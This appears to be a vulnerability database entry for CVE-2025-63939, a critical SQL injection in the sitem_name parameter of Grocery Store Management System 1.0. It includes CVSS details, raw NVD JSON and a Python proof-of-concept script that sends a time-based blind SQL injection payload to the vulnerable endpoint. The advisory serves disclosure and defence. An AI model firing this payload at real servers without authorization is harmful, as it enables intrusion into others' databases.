Security Vulnerability Report
中文
CVE-2025-63939 CVSS 9.8 CRITICAL

CVE-2025-63939

Published: 2026-04-14 16:16:34
Last Modified: 2026-04-17 15:33:34

Description

Improper input handling in /Grocery/search_products_itname.php, in anirudhkannan Grocery Store Management System 1.0, allows SQL injection via the sitem_name POST parameter.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

anirudhkannan Grocery Store Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_sqli_vuln(target_url): """ PoC for CVE-2025-63939 SQL Injection Vulnerability Target: anirudhkannan Grocery Store Management System 1.0 Parameter: sitem_name (POST) """ vuln_path = "/Grocery/search_products_itname.php" full_url = f"{target_url}{vuln_path}" # Time-based blind SQL injection payload # If the database sleeps for 5 seconds, the vulnerability is confirmed. payload = "1' AND SLEEP(5)-- -" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } data = { "sitem_name": payload } try: print(f"[+] Sending request to {full_url}...") response = requests.post(full_url, data=data, headers=headers, timeout=10) # Check if the response time indicates a delay (SQL execution) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed! The application responded with a delay.") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not detected or payload failed.") print(f"[-] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target URL check_sqli_vuln(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63939", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:33.660", "lastModified": "2026-04-17T15:33:34.050", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input handling in /Grocery/search_products_itname.php, in anirudhkannan Grocery Store Management System 1.0, allows SQL injection via the sitem_name POST parameter."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/TREXNEGRO/Security-Advisories/tree/main/CVE-2025-63939", "source": "[email protected]"}]}}